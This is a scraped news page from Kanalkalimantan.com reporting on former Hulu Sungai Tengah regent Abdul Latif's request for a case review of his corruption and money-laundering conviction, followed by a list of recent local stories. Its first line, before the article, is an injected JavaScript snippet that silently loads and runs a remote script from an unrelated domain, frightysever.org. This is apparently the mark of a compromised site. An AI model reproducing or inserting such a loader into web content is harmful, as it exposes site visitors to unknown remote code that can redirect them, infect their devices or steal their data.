(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Terpidana Korupsi Mantan Bupati HST Abdul Latif Ajukan PK


KANALKALIMANTAN.COM, BANJARMASIN – Terpidana kasus gratifikasi dan tindak pidana pencucian uang (TPPU) mantan Bupati Hulu Sungai Tengah (HST) Abdul Latif mengajukan upaya hukum luar biasa Peninjauan Kembali (PK).

Sidang PK digelar di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin, Selasa (8/10/2024) siang.

Terpidana Abdul Latif hadir secara langsung di persidangan, ia dijemput dari Lembaga Pemasyarakatan (Lapas) Sukamiskin Bandung tempatnya menjalani tahanan. Di Banjarmasin, Latif dikawal oleh petugas berpakaian seragam Kemenkumham.

Baca juga: Tim KPK Geledah Ruang Kerja Gubernur Kalsel, Paman Birin Tak Diketahui Keberadaannya

Kuasa hukum pemohon PK, Diar Purbayu mengatakan, ada dua alasan yang menjadi dasar pihaknya mengajukan PK.

Adanya novum atau bukti baru serta menganggap telah terjadi kekhilafan hakim dalam memutus perkara Abdul Latif.

Diantara pokok permohonan, kuasa hukum terpidana Abdul Latif ini meminta hakim untuk memutuskan beberapa aset yang disita dari perkara kliennya dikembalikan.

Sebab menurut Diar, ada beberapa aset Abdul Latif yang disita padahal dibeli oleh kliennya sebelum menjabat Bupati HST.

Baca juga: OTT KPK di Kalsel: 4 ASN dan 2 Swasta Kenakan Rompi Oranye

“Bukti baru ada banyak, diantaranya adanya bukti-bukti kalau yang disita itu berasal dari harta sebelum dia (Abdul Latif) menjabat. Kemudian ada bukti pembelian,” ujarnya.

Untuk memperkuat PK, pihaknya,kata Diar Purbaya telah menyiapkan dua orang saksi untuk dihadirkan pada persidangan PK.

Sementara itu, termohon Komisi Pemberantasan Korupsi (KPK) yang diwakili oleh Lutfi mengatakan, KPK akan mempelajari terlebih dahulu memori kasasi yang diajukan terpidana Abdul Latif.

“Kami akan pelajari dulu sebelum membuat tanggapan atas memori kasasi,” kata Lutfi.

Baca juga: Dokter-Perawat RSD Idaman Pelatihan Keterampilan Klinik Laparoskopi Oklusi Tuba

Usai sidang, majelis hakim yang diketuai Ariyas Dedy mengatakan bahwa untuk sidang pemeriksaan perkara PK Abdul Latif tidak dilakukan di Pengadilan Tipikor Banjarmasin, melainkan ke Pengadilan Negeri Bandung.

Pendelegasian lokasi sidang kata Dedy didasarkan Surat Edaran MA yang mengatur dimana pemohon PK Abdul Latif saat ini sedang menjalani pidana penjara di Lapas Sukamiskin Bandung.

“Kami mengikuti surat edaran Mahkamah Agung nomor 3 tahun 2018,” ujar Dedy.

Setelah pemeriksaan di PN Bandung selesai, selanjutnya berkas perkara beserta berita acara pemeriksaan yang dibuat hakim delegasi, dikirim kepada hakim pengajuan untuk selanjutnya dikirim ke MA.

Baca juga: Sekda HSU: Jangan Mempersulit Pelayanan ke Masyarakat

Sebagai informasi, Abdul Latif dan Oktober 2023 lalu divonis bersalah oleh hakim Pengadilan Tipikor Banjarmasin dengan piadan penjara selama 6 tahun dan denda Rp300 juta subsider 6 bulan kurungan atas kasus gratifikasi dan pencucian uang.

Putusan hakim juga membebankan mantan Bupati HST ini membayar uang pengganti sebesar Rp30,9 miliar dengan catatan apabila uang pengganti tidak dibayar maka harta disita dan dilelang atau diganti dengan 6 tahun penjara.

Abdul Latif kemudian mengajukan banding ke Pengadilan Tinggi Banjarmasin, namun ditolak dan putusannya menguatkan putusan pengadilan Tipikor Banjarmasin.

Selanjutnya pada upaya hukum kasasi yang diajukan ke Mahkamah Agung (MA), hakim mengabulkan permohonan penuntut umum KPK dan uang pengganti yang dibebankan kepada Abdul Latif bertambah menjadi Rp41,4 miliar. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Penyelewengan BBM Subsidi di Banjarmasin, Polisi Sita 2.035 Liter Pertalite

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Polisi Air dan Udara (Satpolairud) Polres Banjarmasin mengungkap kasus bisnis ilegal… Read More

1 jam ago

Pelantikan PAW Komisioner KPU Banjarbaru Tunggu KPU RI

KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More

13 jam ago

Talk Show HUT ke-8 RSD Idaman Seni Mengelola Konflik dalam Rumah Tangga

KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More

14 jam ago

2.069 Pelajar SD se HSU Ikuti Khataman Al Qur’an

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More

1 hari ago

Curi Mobil Nyamar Petugas Parkir Wisuda Kampus ULM, MSR Diringkus Polisi

KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More

1 hari ago

Nasib Tiga Proyek Dinas PUPR Kalsel Pasca OTT KPK

KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More

1 hari ago

This website uses cookies.